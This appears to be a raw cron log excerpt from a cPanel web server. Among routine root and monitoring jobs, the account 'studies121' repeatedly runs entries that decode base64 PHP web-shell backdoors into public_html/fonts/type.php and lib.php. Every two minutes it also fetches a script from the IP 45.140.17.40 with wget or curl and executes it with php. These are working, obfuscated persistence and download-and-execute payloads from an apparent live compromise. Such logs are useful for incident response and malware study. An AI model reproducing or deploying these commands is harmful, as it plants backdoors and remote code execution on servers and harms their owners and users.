Sep  2 13:50:01 ip-184-168-122-23 CROND[26261]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:50:01 ip-184-168-122-23 CROND[26257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:50:01 ip-184-168-122-23 CROND[26262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:50:01 ip-184-168-122-23 CROND[26263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:51:01 ip-184-168-122-23 CROND[26491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:51:01 ip-184-168-122-23 CROND[26493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:51:01 ip-184-168-122-23 CROND[26494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:51:01 ip-184-168-122-23 CROND[26495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:52:01 ip-184-168-122-23 CROND[26625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:52:01 ip-184-168-122-23 CROND[26630]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:52:01 ip-184-168-122-23 CROND[26627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:52:01 ip-184-168-122-23 CROND[26628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:52:01 ip-184-168-122-23 CROND[26629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:53:01 ip-184-168-122-23 CROND[26719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:53:01 ip-184-168-122-23 CROND[26720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:53:01 ip-184-168-122-23 CROND[26722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:53:01 ip-184-168-122-23 CROND[26724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:54:01 ip-184-168-122-23 CROND[26826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:54:01 ip-184-168-122-23 CROND[26829]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:54:01 ip-184-168-122-23 CROND[26831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:54:01 ip-184-168-122-23 CROND[26828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:54:01 ip-184-168-122-23 CROND[26830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:55:01 ip-184-168-122-23 CROND[26939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:55:01 ip-184-168-122-23 CROND[26940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:55:01 ip-184-168-122-23 CROND[26943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:55:01 ip-184-168-122-23 CROND[26945]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:55:01 ip-184-168-122-23 CROND[26947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:55:01 ip-184-168-122-23 CROND[26946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:56:01 ip-184-168-122-23 CROND[27038]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:56:01 ip-184-168-122-23 CROND[27040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:56:01 ip-184-168-122-23 CROND[27041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:56:01 ip-184-168-122-23 CROND[27042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:56:01 ip-184-168-122-23 CROND[27044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:57:01 ip-184-168-122-23 CROND[27125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:57:01 ip-184-168-122-23 CROND[27127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:57:01 ip-184-168-122-23 CROND[27129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:57:01 ip-184-168-122-23 CROND[27128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:58:01 ip-184-168-122-23 CROND[27299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:58:01 ip-184-168-122-23 CROND[27301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:58:01 ip-184-168-122-23 CROND[27302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:58:01 ip-184-168-122-23 CROND[27304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:58:01 ip-184-168-122-23 CROND[27306]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:59:01 ip-184-168-122-23 CROND[27399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:59:01 ip-184-168-122-23 CROND[27402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:59:01 ip-184-168-122-23 CROND[27401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:59:01 ip-184-168-122-23 CROND[27403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:00:01 ip-184-168-122-23 CROND[27503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:00:01 ip-184-168-122-23 CROND[27506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:00:01 ip-184-168-122-23 CROND[27510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:00:01 ip-184-168-122-23 CROND[27507]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 14:00:01 ip-184-168-122-23 CROND[27511]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 14:00:01 ip-184-168-122-23 CROND[27513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:00:01 ip-184-168-122-23 CROND[27509]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:00:01 ip-184-168-122-23 CROND[27517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:00:01 ip-184-168-122-23 CROND[27515]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:01:01 ip-184-168-122-23 CROND[27623]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 14:01:01 ip-184-168-122-23 CROND[27626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:01:01 ip-184-168-122-23 CROND[27625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:01:01 ip-184-168-122-23 CROND[27627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:01:01 ip-184-168-122-23 CROND[27624]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 14:01:01 ip-184-168-122-23 CROND[27628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[27623]: starting 0anacron
Sep  2 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[27645]: finished 0anacron
Sep  2 14:02:01 ip-184-168-122-23 CROND[27742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:02:01 ip-184-168-122-23 CROND[27746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:02:01 ip-184-168-122-23 CROND[27747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:02:01 ip-184-168-122-23 CROND[27745]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
